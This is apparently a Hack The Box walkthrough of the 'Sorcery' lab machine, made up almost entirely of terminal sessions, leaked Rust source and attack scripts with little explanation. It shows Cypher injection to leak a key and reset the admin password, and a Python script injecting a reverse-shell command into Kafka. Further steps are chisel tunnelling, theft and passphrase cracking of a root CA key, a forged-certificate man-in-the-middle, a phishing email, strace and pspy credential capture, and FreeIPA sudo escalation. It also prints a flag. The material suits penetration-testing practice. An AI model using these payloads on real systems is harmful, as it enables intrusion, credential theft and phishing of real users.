──(havertz2110㉿kali)-[~]
└─$ nmap -sCV 10.129.1.36 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-30 05:58 UTC
Nmap scan report for sorcery.htb (10.129.1.36)
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 79:93:55:91:2d:1e:7d:ff:f5:da:d9:8e:68:cb:10:b9 (ECDSA)
|_  256 97:b6:72:9c:39:a9:6c:dc:01🆎3e:aa:ff:cc:13:4a (ED25519)
443/tcp open  ssl/https nginx/1.27.1
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.27.1
| ssl-cert: Subject: commonName=sorcery.htb
| Not valid before: 2024-10-31T02:09:11
|_Not valid after:  2052-03-18T02:09:11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.75 seconds

let product = match Product::get_by_id(id.to_owned()).await {

use crate::db::models::product::Product;

// infrastructure/backend/src/db/models/product.rs
use rocket::serde::Serialize;
use serde::Deserialize;

use backend_macros::Model;

use crate::api::auth::UserClaims;
use crate::db::models::user::UserPrivilegeLevel;

#[derive(Model, Serialize, Deserialize)]
pub struct Product {
    pub id: String,
    pub name: String,
    pub description: String,
    pub is_authorized: bool,
    pub created_by_id: String,
}

impl Product {
    pub fn should_show_for_user(&self, claims: &UserClaims) -> bool {
        self.is_authorized
            || claims.privilege_level == UserPrivilegeLevel::Admin
            || self.created_by_id == claims.id
    }
}

    
    //infrastrucre/backend-macros/src/lib.rs
    ...
    
   let from_row_function = quote! {
        pub async fn from_row(row: ::neo4rs::Row) -> Option<Self> {
            let node = row.get::<::neo4rs::BoltMap>("result").expect("Result not found");
            Some(Self {
                #(#struct_def),*
            })
        }
    };

    let get_functions = fields.iter().map(|&FieldWithAttributes { field, .. }| {
        let name = field.ident.as_ref().unwrap();
        let type_ = &field.ty;
        let name_string = name.to_string();
        let function_name = syn::Ident::new(
            &format!("get_by_{}", name_string),
            proc_macro2::Span::call_site(),
        );

        quote! {
            pub async fn #function_name(#name: #type_) -> Option<Self> {
                let graph = crate::db::connection::GRAPH.get().await;
                let query_string = format!(
                    r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
                    #struct_name, #name_string, #name
                );
                let row = match graph.execute(
                    ::neo4rs::query(&query_string)
                ).await.unwrap().next().await {
                    Ok(Some(row)) => row,
                    _ => return None
                };
                Self::from_row(row).await
            }
        }
    });
...

let query_string = format!(
    r#"MATCH (result: {} {{ {}: "{}" }}) RETURN result"#,
    #struct_name, #name_string, #name
);

use rocket::serde::json::Json;
use rocket::serde::{Deserialize, Serialize};
use rocket_validation::{Validate, Validated};
use uuid::Uuid;

use crate::api::auth::{create_hash, validate_username};
use crate::db::connection::REGISTRATION_KEY;
use crate::db::models::user::{User, UserPrivilegeLevel};
use crate::error::error::AppError;

#[derive(Deserialize, Validate, FromForm)]
#[serde(crate = "rocket::serde", rename_all = "camelCase")]
pub struct Request {
    #[validate(custom(function = "validate_username"))]
    username: String,
    password: String,
    registration_key: Option<String>,
}

#[derive(Serialize)]
pub struct Response {
    id: String,
}
#[post("/register", data = "<data>")]
pub async fn register(data: Validated<Json<Request>>) -> Result<Json<Response>, AppError> {
    let Request {
        username,
        password,
        registration_key,
    } = data.into_inner().into_inner();
    if User::get_by_username(username.to_owned()).await.is_some() {
        return Err(AppError::UsernameAlreadyExists);
    }
    let hash = create_hash(&password)?;
    let id = Uuid::new_v4().to_string();
    User {
        id: id.to_string(),
        username: username.to_owned(),
        password: hash,
        privilege_level: if registration_key.is_some()
            && &registration_key.unwrap() == REGISTRATION_KEY.get().await
        {
            UserPrivilegeLevel::Seller
        } else {
            UserPrivilegeLevel::Client
        },
    }
    .save()
    .await;
    Ok(Json(Response { id }))
}

use async_once::AsyncOnce;
use lazy_static::lazy_static;
use neo4rs::{query, Graph};
use serde::Deserialize;
use uuid::Uuid;

use backend_macros::Model;

use crate::db::initial_data::initial_data;

lazy_static! {
    pub static ref GRAPH: AsyncOnce<Graph> = AsyncOnce::new(async {
        dotenv::dotenv().ok();
        let user = std::env::var("DATABASE_USER").expect("DATABASE_USER");
        let password = std::env::var("DATABASE_PASSWORD").expect("DATABASE_PASSWORD");
        let host = std::env::var("DATABASE_HOST").expect("DATABASE_HOST");
        Graph::new(host.clone(), user, password)
            .await
            .unwrap_or_else(|_| panic!("Graph: {host}"))
    });
    pub static ref JWT_SECRET: String = Uuid::new_v4().to_string();
    pub static ref REGISTRATION_KEY: AsyncOnce<String> = AsyncOnce::new(async {
        let mut configs = Config::get_all().await;
        if configs.len() != 1 {
            panic!("Found {} configs instead of 1", configs.len());
        }
        configs.remove(0).registration_key
    });
}

#[derive(Deserialize, Model)]
struct Config {
    is_initialized: bool,
    registration_key: String,
}

pub async fn migrate(graph: &Graph) {
    let mut configs = Config::get_all().await;
    let config = if !configs.is_empty() {
        configs.remove(0)
    } else {
        let config = Config {
            is_initialized: false,
            registration_key: Uuid::new_v4().to_string(),
        };
        config.save().await;
        config
    };
    if config.is_initialized {
        return;
    }

    initial_data().await;

    let mut tx = graph.start_txn().await.unwrap();
    tx.run(query(
        "MATCH (config: Config) SET config.is_initialized = true",
    ))
    .await
    .unwrap();
    tx.commit().await.unwrap();
}

MATCH (result: Product { id: "88b6b6c5-a614-486c-9d51-d255f47efb4f" }) RETURN result

"}) MATCH (c:Config) RETURN result {  .*,description: c.registration_key }//

// infrastructure/backend/src/api/auth.rs
pub fn create_hash(password: &String) -> Result<String, AppError> {
    let salt = SaltString::generate(&mut OsRng);
    match Argon2::default().hash_password(password.as_bytes(), &salt) {
        Ok(hash) => Ok(hash.to_string()),
        Err(error) => {
            println!("[-] {error}");
            Err(AppError::Unknown)
        }
    }
}
...

└─$ echo -n "havertz2110" | argon2 somesalt -id -t 2 -m 15 -p 1
Type:           Argon2id
Iterations:     2
Memory:         32768 KiB
Parallelism:    1
Hash:           ec886ca6edd630e11dc00c9af76c22f00aa4cc3a51781e01cd7b973d5666eb6c
Encoded:        $argon2id$v=19$m=32768,t=2,p=1$c29tZXNhbHQ$7Ihspu3WMOEdwAya92wi8AqkzDpReB4BzXuXPVZm62w
0.049 seconds
Verification ok

// infrastructure/backend/src/db/models/user.rs
...
#[derive(Model, Debug, Deserialize)]
pub struct User {
    pub id: String,
    pub username: String,
    pub password: String,
    #[transient(fetch = "fetch_privilege_level", save = "save_privilege_level")]
    pub privilege_level: UserPrivilegeLevel,
}
...

"}) MATCH (u:User {username: 'admin'}) SET u.password ='$argon2id$v=19$m=32768,t=2,p=1$c29tZXNhbHQ$7Ihspu3WMOEdwAya92wi8AqkzDpReB4BzXuXPVZm62w' RETURN result { .* ,description: 'successful update admin pwd' } //

// infrastructure/backend/src/api/dns/get.rs
use crate::api::auth::{RequireAdmin, RequirePasskey};
use crate::state::dns::{DnsEntry, DNS};
use rocket::serde::json::Json;
use serde::Serialize;

#[derive(Serialize)]
struct Response {
    entries: Vec<DnsEntry>,
}

#[get("/")]
pub fn get_entries(_guard1: RequireAdmin, _guard2: RequirePasskey) -> Json<Response> {
    Json(Response {
        entries: DNS.lock().unwrap().entries.clone(),
    })
}

// infrastructure/backend/src/api/dns/update.rs
use crate::api::auth::{RequireAdmin, RequirePasskey};
use crate::error::error::AppError;
use crate::state::kafka::KafkaStore;
use kafka::producer::Record;
use rocket::serde::json::Json;
use rocket::serde::Serialize;
use rocket::State;

#[derive(Serialize)]
struct Response;

#[post("/")]
pub fn update_dns(
    _guard1: RequireAdmin,
    _guard2: RequirePasskey,
    kafka_store: &State<KafkaStore>,
) -> Result<Json<Response>, AppError> {
    let mut producer = kafka_store.producer.lock().unwrap();

    match producer.send(&Record {
        topic: "update",
        partition: -1,
        key: (),
        value: "/dns/convert.sh".as_bytes(),
    }) {
        Ok(_) => Ok(Json(Response {})),
        Err(_) => Err(AppError::Unknown),
    }
}

// infrastructure/dns/src/main.rs
use kafka::client::FetchOffset;
use kafka::consumer::{Consumer, GroupOffsetStorage};
use kafka::producer::{Producer, Record, RequiredAcks};
use serde::Serialize;
use std::process::Command;
use std::time::Duration;
use std::{fs, str};

#[derive(Serialize, Debug)]
struct Entry {
    name: String,
    value: String,
}

fn fetch_entries() -> Vec<Entry> {
    let config = fs::read_to_string("/dns/entries").expect("Read config");
    config
        .split("\n")
        .filter(|line| !line.trim().is_empty())
        .map(|line| {
            let components = line.trim().split(" ").collect::<Vec<_>>();
            Entry {
                name: components[1].to_string(),
                value: components[0].to_string(),
            }
        })
        .collect()
}

fn main() {
    dotenv::dotenv().ok();
    let broker = std::env::var("KAFKA_BROKER").expect("KAFKA_BROKER");

    let topic = "update".to_string();
    let group = "update".to_string();

    let mut consumer = Consumer::from_hosts(vec![broker.clone()])
        .with_topic(topic)
        .with_group(group)
        .with_fallback_offset(FetchOffset::Earliest)
        .with_offset_storage(Some(GroupOffsetStorage::Kafka))
        .create()
        .expect("Kafka consumer");

    let mut producer = Producer::from_hosts(vec![broker])
        .with_ack_timeout(Duration::from_secs(1))
        .with_required_acks(RequiredAcks::One)
        .create()
        .expect("Kafka producer");

    println!("[+] Started consumer");

    loop {
        let Ok(message_sets) = consumer.poll() else {
            continue;
        };

        for message_set in message_sets.iter() {
            for message in message_set.messages() {
                let Ok(command) = str::from_utf8(message.value) else {
                    continue;
                };

                println!("[*] Got new command: {}", command);

                let mut process = match Command::new("bash").arg("-c").arg(command).spawn() {
                    Ok(process) => process,
                    Err(error) => {
                        println!("[-] {error}");
                        continue;
                    }
                };

                if let Err(error) = process.wait() {
                    println!("[-] {error}");
                    continue;
                }

                let entries = fetch_entries();

                println!("[*] Entries: {:?}", entries);

                let Ok(value) = serde_json::to_string(&entries) else {
                    continue;
                };

                producer
                    .send(&Record {
                        key: (),
                        value,
                        topic: "get",
                        partition: -1,
                    })
                    .ok();
            }
            consumer.consume_messageset(message_set).ok();
        }
        consumer.commit_consumed().ok();
    }
}

// infrastrucre/dns/convert.sh
#!/bin/bash

entries_file=/dns/entries
hosts_files=("/dns/hosts" "/dns/hosts-user")

> $entries_file

for hosts_file in ${hosts_files[@]}; do
  while IFS= read -r line; do
    key=$(echo $line | awk '{ print $1 }')
    values=$(echo $line | cut -d ' ' -f2-)

    for value in $values; do
      echo "$key $value" >> $entries_file
    done
  done < $hosts_file
done

import struct
import zlib

# ===== metadata inferred from source =====
TOPIC = b"update"
VALUE = b"bash -c 'sh -i >& /dev/tcp/10.10.14.27/4444 0>&1'"        

def kafka_message(value: bytes) -> bytes:
    """
    Build a legacy Kafka Message (MessageSet format).
    """
    # magic=0, attributes=0, key=null (-1)
    body = (
        struct.pack(">BBi", 0, 0, -1) +
        struct.pack(">i", len(value)) +
        value
    )
    crc = zlib.crc32(body) & 0xffffffff
    return struct.pack(">I", crc) + body

msg = kafka_message(VALUE)

# offset (int64) + message_size + message
message_set = (
    struct.pack(">q", 0) +
    struct.pack(">i", len(msg)) +
    msg
)

# partition = 0
partition_data = (
    struct.pack(">i", 0) +
    struct.pack(">i", len(message_set)) +
    message_set
)

topic_data = (
    struct.pack(">h", len(TOPIC)) +
    TOPIC +
    struct.pack(">i", 1) +          # partition count
    partition_data
)

# Produce request body
body = (
    struct.pack(">h", 1) +           # acks
    struct.pack(">i", 10000) +        # timeout
    struct.pack(">i", 1) +            # topic count
    topic_data
)

# Request header (Produce, version 0)
header = (
    struct.pack(">hhih", 0, 0, 1, 3) + b"dbg"
)

packet = struct.pack(">i", len(header) + len(body)) + header + body

print(packet.hex())

──(havertz2110㉿kali)-[~/Downloads/sorcery]
└─$ python script.py 
000000760000000000000001000364626700010000271000000001000675706461746500000001000000000000004b00000000000000000000003f904cca9d0000ffffffff0000003162617368202d6320277368202d69203e26202f6465762f7463702f31302e31302e31342e32372f3434343420303e263127
                                          

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz

gunzip chisel_1.10.1_linux_amd64.gz

mv chisel_1.10.1_linux_amd64 chisel

chmod +x chisel

user@7bfb70ee5b9c:/$ getent hosts ftp
172.19.0.5      ftp
user@7bfb70ee5b9c:/$ getent hosts
127.0.0.1       localhost
127.0.0.1       localhost ip6-localhost ip6-loopback
172.19.0.7      7bfb70ee5b9c
user@7bfb70ee5b9c:/$ getent hosts mail
172.19.0.8      mail

──(havertz2110㉿kali)-[~/Downloads/sorcery]
└─$ sudo nano /etc/proxychains4.conf

strict_chain
proxy_dns

[ProxyList]
socks5 127.0.0.1 1080

                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ ./chisel server --reverse --port 9000
2026/01/07 09:09:14 server: Reverse tunnelling enabled
2026/01/07 09:09:14 server: Fingerprint wNsT89CL3Wxi5DrgDo3+zsKjwNfbbj08qL/FXzziy6k=
2026/01/07 09:09:14 server: Listening on http://0.0.0.0:9000

user@7bfb70ee5b9c:/tmp$  (để detach session, bạn xài F12 và nhớ đứng ở tmp nha, không là sẽ bị permission denied)
[!] Session detached ⇲

(Penelope)─(Session [1])> upload chisel
[+] Upload OK /tmp/chisel

(Penelope)─(Session [1])> interact 1
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/havertz2110/.penelope/sessions/7bfb70ee5b9c~10.129.1.36-Linux-x86_64/2026_01_16-09_03_49-043.log 📜
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

user@7bfb70ee5b9c:/tmp$ ./chisel client 10.10.14.27:9000 R:1080:socks
2026/01/07 09:09:57 client: Connecting to ws://10.10.14.27:9000
2026/01/07 09:09:57 client: Connected (Latency 41.289384ms)

┌──(havertz2110㉿kali)-[~]
└─$ proxychains ftp 172.19.0.5      
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21  ...  OK
Connected to 172.19.0.5.
220 (vsFTPd 3.0.3)
Name (172.19.0.5:havertz2110): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||21105|)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21105  ...  OK
150 Here comes the directory listing.
drwxrwxrwx    2 ftp      ftp          4096 Oct 31  2024 pub
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21100|)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21100  ...  OK
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          1826 Oct 31  2024 RootCA.crt
-rw-r--r--    1 ftp      ftp          3434 Oct 31  2024 RootCA.key
ftp> get RootCA.crt
local: RootCA.crt remote: RootCA.crt
229 Entering Extended Passive Mode (|||21107|)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21107  ...  OK
150 Opening BINARY mode data connection for RootCA.crt (1826 bytes).
...
ftp> get RootCA.key
local: RootCA.key remote: RootCA.key
229 Entering Extended Passive Mode (|||21105|)
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.19.0.5:21105  ...  OK
150 Opening BINARY mode data connection for RootCA.key (3434 bytes).
100% |********************************|  3434        0.07 KiB/s  - stalled -^

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ ls
 burpsuite_pro.ico  'Private key.pem'   RootCA.crt   RootCA.key   sorcery   tools   vpn

user@7bfb70ee5b9c:/dns$ echo "10.10.14.27 domain.sorcery.htb" >> /dns/hosts-user
user@7bfb70ee5b9c:/dns$ bash convert.sh

user@7bfb70ee5b9c:/dns$ pkill -9 dnsmasq

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ openssl genrsa -out domain.sorcery.htb.key 2048
                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~/Downloads]
└─$ openssl req -new -key domain.sorcery.htb.key -out domain.sorcery.htb.csr -subj "/CN=domain.sorcery.htb"
                                                                                                                                                                                                             

#!/bin/bash
while IFS= read -r pass; do
    openssl rsa -in RootCA.key -out /dev/null -passin pass:"$pass" 2>/dev/null && { echo "Password found: $pass"; exit 0; }
done < /usr/share/wordlists/rockyou.txt

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ openssl rsa -in RootCA.key -out RootCA-unenc.key 
Enter pass phrase for RootCA.key:
writing RSA key

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ openssl x509 -req -in domain.sorcery.htb.csr -CA RootCA.crt -CAkey RootCA-unenc.key -CAcreateserial -out domain.sorcery.htb.crt -days 365

Certificate request self-signature ok
subject=CN=domain.sorcery.htb

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ cat domain.sorcery.htb.key domain.sorcery.htb.crt > domain.sorcery.htb.pem

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ mitmproxy --mode reverse:https://git.sorcery.htb --certs domain.sorcery.htb.pem --save-stream-file traffic.raw -k -p 443

┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ proxychains -q swaks --to tom_summers@sorcery.htb --from nicole_sullivan@sorcery.htb --server 172.19.0.8 --port 1025 --data "Subject: Resign Letter Accepted\nHi Tom,\n Your resignation letter has been accepted, we have made some photos to sending farewell to you, please visit it at this link: https://domain.sorcery.htb/user/login\n"

=== Trying 172.19.0.8:1025...
=== Connected to 172.19.0.8.
<-  220 mailhog.example ESMTP MailHog
 -> EHLO kali
<-  250-Hello kali
<-  250-PIPELINING
<-  250 AUTH PLAIN
 -> MAIL FROM:<nicole_sullivan@sorcery.htb>
<-  250 Sender nicole_sullivan@sorcery.htb ok
 -> RCPT TO:<tom_summers@sorcery.htb>
<-  250 Recipient tom_summers@sorcery.htb ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Subject: Resign Letter Accepted
 -> Hi Tom,
 ->  Your resignation letter has been accepted, we have made some photos to sending farewell to you, please visit it at this link: https://domain.sorcery.htb/user/login
 -> 
 -> 
 -> .
<-  250 Ok: queued as bx-ux5_-WBSRcIiHw7VWYr6eVNELm3Sjnr2oCu4SY5Y=@mailhog.example
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

┌──(havertz2110㉿kali)-[~/Downloads]
└─$ ssh tom_summers@10.129.1.36                                               
The authenticity of host '10.129.1.36 (10.129.1.36)' can't be established.
ED25519 key fingerprint is SHA256:Nshm+HLprf4CSB15aD8bc/lzqdKMitLi34sS1ZUlBog.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
    ~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.1.36' (ED25519) to the list of known hosts.
(tom_summers@10.129.1.36) Password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Jan 07 09:37:55 2026 from 10.10.14.27
tom_summers@main:~$ ls
user.txt
tom_summers@main:~$ cat user.txt
eef64464536926f5e1cf1bb67b47a901

tom_summers@main:/home$ ls -la
total 28
drwxr-xr-x  7 root              root              4096 Oct 31  2024 .
drwxr-xr-x 25 root              root              4096 Apr 28 12:11 ..
drwxr-x---  4 rebecca_smith     rebecca_smith     4096 Oct 30  2024 rebecca_smith
drwxr-x---  3 tom_summers       tom_summers       4096 Jun 15 00:30 tom_summers
drwxr-x---  5 tom_summers_admin tom_summers_admin 4096 Oct 30  2024 tom_summers_admin
drwxr-x---  4 user              user              4096 Apr 28 11:37 user
drwxr-x---  5 vagrant           vagrant           4096 Oct 30  2024 vagrant

tom_summers@main:/xorg/xvfb$ ls -la
total 524
drwxr-xr-x 2 tom_summers_admin tom_summers_admin   4096 Jun 15 03:13 .
drwxr-xr-x 3 root              root                4096 Apr 28 12:07 ..
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Jun 15 03:13 Xvfb_screen0

┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ file Xvfb_screen0
Xvfb_screen0: X-Window screen dump image data, version X11, "Xvfb main.sorcery.htb:1.0", 512x256x24, 256 colors 256 entries

┌──(havertz2110㉿kali)-[~/Downloads/tools]
└─$ xwud -in Xvfb_screen0

tom_summers_admin@main:/tmp$  sudo -l
Matching Defaults entries for tom_summers_admin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tom_summers_admin may run the following commands on localhost:
    (rebecca_smith) NOPASSWD: /usr/bin/docker login
    (rebecca_smith) NOPASSWD: /usr/bin/strace -s 128 -p [0-9]*

#!/bin/bash
#  docker login as rebecca_smith
sudo -u rebecca_smith /usr/bin/docker login &

# find the PID
TARGET_PID=""
while [ -z "$TARGET_PID" ]; do
    TARGET_PID=$(pgrep -u rebecca_smith -f "/usr/bin/docker login")
done

echo "[*] Target process is PID: $TARGET_PID"
echo "[*] Attaching strace.."

# attach strace as rebecca_smith
sudo -u rebecca_smith /usr/bin/strace -s 128 -p $TARGET_PID -f -e trace=openat,read

tom_summers_admin@main:/tmp$ chmod +x docker_injection.sh
tom_summers_admin@main:/tmp$ ./docker_injection.sh
[*] Target process found! PID: 927706
[*] Attaching strace NOW...
/usr/bin/strace: Process 927706 attached with 9 threads
This account might be protected by two-factor authentication
In case login fails, try logging in with <password><otp>
[pid 927708] read(7, "{\"Username\":\"rebecca_smith\",\"Secret\":\"-7eAZDp9-f9mg\"}\n", 512) = 54
[pid 927708] read(7, 0xc0000c1036, 970) = -1 EAGAIN (Resource temporarily unavailable)
[pid 927708] read(7, "", 970)           = 0
[pid 927709] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=927715, si_uid=2003, si_status=0, si_utime=9 /* 0.09 s */, si_stime=7 /* 0.07 s */} ---
Authenticating with existing credentials... [Username: rebecca_smith]

i Info → To login with a different account, run 'docker logout' followed by 'docker login'

...(it still runs lots more before complete, you can run and check it yourself!

rebecca_smith@main:/tmp$ ss -tuln
Netid                State                 Recv-Q                Send-Q                               Local Address:Port                               Peer Address:Port               Process               
udp                  UNCONN                0                     0                                       127.0.0.54:53                                      0.0.0.0:*                                        
udp                  UNCONN                0                     0                                    127.0.0.53%lo:53                                      0.0.0.0:*                                        
udp                  UNCONN                0                     0                                        127.0.0.1:88                                      0.0.0.0:*                                        
udp                  UNCONN                0                     0                                        127.0.0.1:323                                     0.0.0.0:*                                        
udp                  UNCONN                0                     0                                        127.0.0.1:464                                     0.0.0.0:*                                        
udp                  UNCONN                0                     0                                            [::1]:323                                        [::]:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:389                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:464                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:88                                      0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                       0.0.0.0:443                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:5000                                    0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                     127.0.0.1:636                                     0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                 127.0.0.53%lo:53                                      0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                    127.0.0.54:53                                      0.0.0.0:*                                        
tcp                  LISTEN                0                     4096                                          [::]:443                                        [::]:*                                        
tcp                  LISTEN                0                     4096                                             *:22                                            *:*                                        
rebecca_smith@main:/tmp$ 

rebecca_smith@main:/tmp$ cat /etc/hosts
127.0.0.1 localhost main.sorcery.htb sorcery sorcery.htb
127.0.1.1 ubuntu-2404

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.23.0.2 dc01.sorcery.htb

└─$ proxychains ldapsearch -x -H ldap://127.0.0.1 -b "dc=sorcery,dc=htb" "(objectClass=person)"   
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  127.0.0.1:389  ...  OK
# extended LDIF
#
# LDAPv3
# base <dc=sorcery,dc=htb> with scope subtree
# filter: (objectClass=person)
# requesting: ALL
#

# admin, users, accounts, sorcery.htb
dn: uid=admin,cn=users,cn=accounts,dc=sorcery,dc=htb
objectClass: top
objectClass: person
objectClass: posixaccount
objectClass: krbprincipalaux
objectClass: krbticketpolicyaux
objectClass: inetuser
objectClass: ipaobject
objectClass: ipasshuser
objectClass: ipaSshGroupOfPubKeys
objectClass: ipaNTUserAttrs
uid: admin
cn: Administrator
sn: Administrator
uidNumber: 1638400000
gidNumber: 1638400000
homeDirectory: /home/admin
loginShell: /bin/bash
gecos: Administrator
ipaNTSecurityIdentifier: S-1-5-21-820725746-4072777037-1046661441-500

# donna_adams, users, accounts, sorcery.htb
dn: uid=donna_adams,cn=users,cn=accounts,dc=sorcery,dc=htb
givenName: donna
sn: adams
uid: donna_adams
cn: donna adams
displayName: donna adams
initials: da
gecos: donna adams
objectClass: top
objectClass: person
objectClass: organizationalperson
objectClass: inetorgperson
objectClass: inetuser
objectClass: posixaccount
objectClass: krbprincipalaux
objectClass: krbticketpolicyaux
objectClass: ipaobject
objectClass: ipasshuser
objectClass: ipaSshGroupOfPubKeys
objectClass: mepOriginEntry
objectClass: ipantuserattrs
loginShell: /bin/sh
homeDirectory: /home/donna_adams
uidNumber: 1638400003
gidNumber: 1638400003
ipaNTSecurityIdentifier: S-1-5-21-820725746-4072777037-1046661441-1003

# ash_winter, users, accounts, sorcery.htb
dn: uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb
givenName: ash
sn: winter
uid: ash_winter
cn: ash winter
displayName: ash winter
initials: aw
gecos: ash winter
objectClass: top
objectClass: person
objectClass: organizationalperson
objectClass: inetorgperson
objectClass: inetuser
objectClass: posixaccount
objectClass: krbprincipalaux
objectClass: krbticketpolicyaux
objectClass: ipaobject
objectClass: ipasshuser
objectClass: ipaSshGroupOfPubKeys
objectClass: mepOriginEntry
objectClass: ipantuserattrs
loginShell: /bin/sh
homeDirectory: /home/ash_winter
uidNumber: 1638400004
gidNumber: 1638400004
ipaNTSecurityIdentifier: S-1-5-21-820725746-4072777037-1046661441-1004

# search result
search: 2
result: 0 Success

# numResponses: 4
# numEntries: 3

rebecca_smith@main:/tmp$ ./pspy64 | grep ipa
2026/01/06 08:50:50 CMD: UID=2003  PID=267680 | grep ipa 
2026/01/06 08:50:50 CMD: UID=165536 PID=7521   | /usr/bin/python3 -I /usr/libexec/ipa/ipa-custodia /etc/ipa/custodia/custodia.conf 
2026/01/06 08:50:50 CMD: UID=165825 PID=7437   | (wsgi:ipa)      -DFOREGROUND 
2026/01/06 08:50:50 CMD: UID=165825 PID=7433   | (wsgi:ipa)      -DFOREGROUND 
2026/01/06 08:50:50 CMD: UID=165825 PID=7431   | (wsgi:ipa)      -DFOREGROUND 
2026/01/06 08:50:50 CMD: UID=165825 PID=7429   | (wsgi:ipa)      -DFOREGROUND 
2026/01/06 08:50:50 CMD: UID=165536 PID=3185   | tail --silent -n 0 -f --retry /var/log/ipa-server-configure-first.log /var/log/ipa-server-run.log 
2026/01/06 08:51:34 CMD: UID=1638400000 PID=269016 | /usr/bin/python3 -I /usr/bin/ipa sudorule-find 
2026/01/06 08:51:35 CMD: UID=1638400000 PID=269022 | /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep 

└─$ ssh ash_winter@10.129.1.36
(ash_winter@10.129.1.36) Password: 
Password expired. Change your password now.
(ash_winter@10.129.1.36) Current Password: 
(ash_winter@10.129.1.36) New password: 
(ash_winter@10.129.1.36) Retype new password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Jan 8 08:54:46 2026 from 10.10.14.27
$ id
uid=1638400004(ash_winter) gid=1638400004(ash_winter) groups=1638400004(ash_winter)

ash_winter@main:/$ sudo -l
Matching Defaults entries for ash_winter on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User ash_winter may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/systemctl restart sssd

$ ipa group-add-member sysadmins --users=ash_winter
  Group name: sysadmins
  GID: 1638400005
  Member users: ash_winter
  Indirect Member of role: manage_sudorules_ldap
-------------------------
Number of members added 1
-------------------------

$ ipa sudorule-add-user allow_sudo --users=ash_winter
  Rule name: allow_sudo
  Enabled: True
  Host category: all
  Command category: all
  RunAs User category: all
  RunAs Group category: all
